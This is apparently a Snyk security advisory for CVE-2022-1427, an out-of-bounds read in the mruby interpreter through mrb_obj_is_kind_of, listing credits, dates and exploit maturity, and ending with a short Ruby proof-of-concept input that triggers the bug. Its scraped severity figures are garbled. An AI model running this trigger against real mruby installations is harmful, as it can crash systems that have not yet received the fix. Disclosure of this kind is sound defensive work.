Out-of-bounds Read Affecting mruby/mruby package, versions [3.2.0,)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-MRUBYMRUBY-2774724
  • published24 Apr 2022
  • disclosed24 Apr 2022
  • creditKen Wong, Alex Cheung

Introduced: 24 Apr 2022

CVE-2022-1427  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the mrb_obj_is_kind_of.

PoC:

Math.initialize() do $4
   prepend dup
   4.instance_exec(){|| super() }
end

References

CVSS Scores

version 3.1